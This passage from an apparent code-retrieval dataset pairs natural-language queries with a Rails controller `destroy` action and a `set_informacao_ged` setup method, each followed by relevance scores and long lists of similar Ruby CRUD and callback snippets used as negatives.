"def update\n respond_to do |format|\n if @kata.update(kata_params)\n format.html { redirect_to @kata, notice: 'Kata was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kata.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @tipo_exame.update(tipo_exame_params)\n format.html { redirect_to @tipo_exame, notice: 'Tipo exame was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_exame }\n else\n format.html { render :edit }\n format.json { render json: @tipo_exame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @congresso.update(congresso_params)\n format.html { redirect_to @congresso, notice: 'Congresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @congresso }\n else\n format.html { render :edit }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n if @asignatura.update_attributes(params[:asignatura])\n format.html { redirect_to @asignatura, notice: 'Asignatura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asignatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipus_indicador.update(tipus_indicador_params)\n format.html { redirect_to @tipus_indicador, notice: 'Tipus indicador was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipus_indicador }\n else\n format.html { render :edit }\n format.json { render json: @tipus_indicador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @budget_file.update(budget_file_params)\n #if @revenue.update(revenue_params.merge({:tree_info => tree_info, :rows => rows}))\n # @budget_file.taxonomy.explanation = explanation\n # @budget_file.taxonomy.save\n\n format.html { redirect_to @budget_file, notice: t('budget_files_controller.save') }\n format.json { render :show, status: :ok, location: @budget_file }\n else\n format.html { render :edit }\n format.json { render json: @budget_file.errors, status: :unprocessable_entity }\n end\n end\n\n end"
] |
[
"0.6117247",
"0.61013395",
"0.6085796",
"0.6083696",
"0.60835725",
"0.6041479",
"0.60056084",
"0.60016745",
"0.5988916",
"0.598638",
"0.5985714",
"0.5942156",
"0.59323734",
"0.5915774",
"0.59122556",
"0.5898158",
"0.5880322",
"0.58672965",
"0.58635664",
"0.5850036",
"0.583121",
"0.58289766",
"0.5828569",
"0.5819657",
"0.58187497",
"0.5818665",
"0.581171",
"0.58115107",
"0.580731",
"0.58023584",
"0.579715",
"0.5789812",
"0.578463",
"0.57846165",
"0.57844055",
"0.5781159",
"0.5763062",
"0.57577074",
"0.5755251",
"0.5754479",
"0.5753651",
"0.5753565",
"0.5752156",
"0.5750108",
"0.57479155",
"0.5746113",
"0.5746086",
"0.57449913",
"0.57420325",
"0.5738908",
"0.5735407",
"0.57296723",
"0.5724578",
"0.5724073",
"0.5722219",
"0.5722157",
"0.5719794",
"0.57187736",
"0.57167184",
"0.5713549",
"0.57129073",
"0.5711651",
"0.57113934",
"0.5709303",
"0.5709208",
"0.5708517",
"0.57074445",
"0.5704511",
"0.5701099",
"0.5700922",
"0.56968576",
"0.56950754",
"0.5693852",
"0.5693",
"0.56928194",
"0.56928194",
"0.56915796",
"0.5691449",
"0.56914353",
"0.56907",
"0.5690409",
"0.56881803",
"0.5686549",
"0.5683751",
"0.5683707",
"0.5682998",
"0.5676579",
"0.5676525",
"0.567352",
"0.5673374",
"0.5673082",
"0.567288",
"0.56724197",
"0.5671616",
"0.56702375",
"0.56606597",
"0.56599486",
"0.56599486",
"0.56595093",
"0.5657833"
] |
0.65446734
|
0
|
DELETE /informacoes_ged/1 DELETE /informacoes_ged/1.json
|
def destroy
@informacao_ged.destroy
respond_to do |format|
format.html { redirect_to informacoes_ged_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iglesia.destroy\n respond_to do |format|\n format.html { redirect_to iglesias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicacao = Indicacao.find(params[:id])\n @indicacao.destroy\n\n respond_to do |format|\n format.html { redirect_to indicacoes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end",
"def destroy\n @aki_diagnosis.destroy\n respond_to do |format|\n format.html { redirect_to aki_diagnoses_url, notice: 'Diagnosis aki was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @areco = Areco.find(params[:id])\n @areco.destroy\n\n respond_to do |format|\n format.html { redirect_to arecos_url }\n format.json { head :no_content }\n end\n end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cegonha = Cegonha.find(params[:id])\n @cegonha.destroy\n\n respond_to do |format|\n format.html { redirect_to cegonhas_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @core_status_desembaraco = Core::StatusDesembaraco.find(params[:id])\n @core_status_desembaraco.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_desembaracos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apoio_educacioanl.destroy\n respond_to do |format|\n format.html { redirect_to apoio_educacioanls_url, notice: 'Apoio educacioanal foi excluído com Sucesso !' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aliexpress = Aliexpress.find(params[:id])\n @aliexpress.destroy\n\n respond_to do |format|\n format.html { redirect_to aliexpresses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @agencium.destroy\n respond_to do |format|\n format.html { redirect_to agencia_url, notice: 'Agencium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete\n \n end",
"def destroy\r\n @sivic_contabanco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contabancos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @catebg = Catebg.find(params[:id])\n @catebg.destroy\n\n respond_to do |format|\n format.html { redirect_to catebgs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n checar_egresso_super\r\n @egresso.destroy\r\n respond_to do |format|\r\n format.html { redirect_to egressos_url, notice: 'Egresso excluído com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @informacao.destroy\n respond_to do |format|\n format.html { redirect_to informacoes_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @cio.destroy\n respond_to do |format|\n format.html { redirect_to cios_url, notice: 'Cio excluido.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @especie_estatus_bibliografia.destroy\n respond_to do |format|\n format.html { redirect_to especies_estatus_bibliografia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @detalle_documento_de_compra.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Linea eliminada' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arquivo = Arquivo.find(params[:id])\n\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id)\n\n if @comentarios\n @comentarios.delete_all\n end\n\n @arquivo.destroy\n\n respond_to do |format|\n format.html { redirect_to arquivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_contcelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contcelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @cb_axiento_det.destroy\n respond_to do |format|\n format.html { redirect_to cb_axiento_dets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @electronica_consejero.destroy\r\n respond_to do |format|\r\n format.html { redirect_to electronica_consejeros_url, notice: 'El nombre del consejero de ingeniería electrónica se eliminó correctamente.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n \n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @annex = Annex.find(params[:id])\n @annex.destroy\n\n respond_to do |format|\n format.html { redirect_to annexes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gastronomium.destroy\n respond_to do |format|\n format.html { redirect_to gastronomia_url, notice: 'Gastronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n string = \"DELETE FROM notes WHERE famille_id = #{@famille.id}\"\n connection = Demande.connection\n connection.delete(string)\n @famille.destroy\n respond_to do |format|\n format.html { redirect_to familles_url, notice: 'Famille was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @notificaciones_admin_actualouse = NotificacionesAdminActualouse.find(params[:id])\n @notificaciones_admin_actualouse.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @nota_tecnica.destroy\n respond_to do |format|\n format.html { redirect_to nota_tecnicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congestion = Congestion.find(params[:id])\n @congestion.destroy\n\n respond_to do |format|\n format.html { redirect_to congestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oferta_academica = OfertaAcademica.find(params[:id])\n @oferta_academica.destroy\n\n head :no_content\n end",
"def destroy\n @infraccion.destroy\n respond_to do |format|\n format.html { redirect_to infraccions_url, notice: 'Infraccion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @coference.destroy\n respond_to do |format|\n format.html { redirect_to menu_extension_1_path, notice: 'La actividad se elimino con exito.' }\n format.json { head :no_content }\n end\n\n end",
"def destroy\n @asignarmultiplebeneficio.destroy\n respond_to do |format|\n format.html { redirect_to asignarmultiplebeneficios_url, notice: 'Asignarmultiplebeneficio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignarmultiplebeneficio.destroy\n respond_to do |format|\n format.html { redirect_to asignarmultiplebeneficios_url, notice: 'Asignarmultiplebeneficio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n end",
"def destroy\n @gatineo.destroy\n respond_to do |format|\n format.html { redirect_to gatineos_url, notice: 'Gatineo apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_celula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_celulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end",
"def borrar \n\n fiesta.destroy\n render json: fiesta \n end",
"def destroy\n @information_cone.destroy\n respond_to do |format|\n format.html { redirect_to information_cones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientepedido = Clientepedido.find(params[:id])\n @clientepedido.destroy\n\n respond_to do |format|\n format.html { redirect_to clientepedidos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagnoz = Diagnoz.find(params[:id])\n @diagnoz.destroy\n\n respond_to do |format|\n format.html { redirect_to diagnozs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @taxon_determination.destroy\n respond_to do |format|\n format.html { redirect_to taxon_determinations_url }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @detalles_basico.destroy\n respond_to do |format|\n format.html { redirect_to detalles_basicos_url, notice: 'Detalles basico was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @indicator.destroy\n respond_to do |format|\n format.html { redirect_to indicators_url, notice: 'El indicador fue eliminada con exitó.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oficio.destroy\n respond_to do |format|\n format.html { redirect_to oficios_url, notice: 'Oficio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6847203",
"0.6821208",
"0.679435",
"0.67873424",
"0.6773591",
"0.6754265",
"0.6725233",
"0.6665187",
"0.66379046",
"0.663154",
"0.663154",
"0.663154",
"0.663154",
"0.6624666",
"0.65945697",
"0.65843564",
"0.657652",
"0.655621",
"0.65480536",
"0.65317947",
"0.6528203",
"0.6521573",
"0.6521573",
"0.6513863",
"0.651079",
"0.6510331",
"0.65090305",
"0.65067095",
"0.64684117",
"0.6465092",
"0.64638406",
"0.64637643",
"0.6463318",
"0.64549756",
"0.6433275",
"0.6432474",
"0.64197814",
"0.6417646",
"0.6415629",
"0.6414794",
"0.6412967",
"0.6412958",
"0.6402804",
"0.6396633",
"0.6396486",
"0.63952434",
"0.63951665",
"0.6389753",
"0.63894224",
"0.6387453",
"0.63853383",
"0.6384614",
"0.6384324",
"0.6383026",
"0.6382742",
"0.63811946",
"0.63811743",
"0.63744456",
"0.63741124",
"0.63729995",
"0.6372314",
"0.636999",
"0.6367558",
"0.63672924",
"0.6364999",
"0.6363353",
"0.63631743",
"0.63619804",
"0.6361907",
"0.6360841",
"0.6360841",
"0.63586426",
"0.63575065",
"0.63548833",
"0.6354603",
"0.6352048",
"0.63515157",
"0.6350729",
"0.63488626",
"0.6347822",
"0.6347531",
"0.6346409",
"0.6346369",
"0.63451165",
"0.6342337",
"0.6341697",
"0.6341697",
"0.6341697",
"0.6341697",
"0.6341697",
"0.6341697",
"0.6341697",
"0.6336527",
"0.6336432",
"0.6335437",
"0.63332576",
"0.6330932",
"0.63266516",
"0.6324051",
"0.63231516"
] |
0.70700896
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_informacao_ged
@informacao_ged = InformacaoGed.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
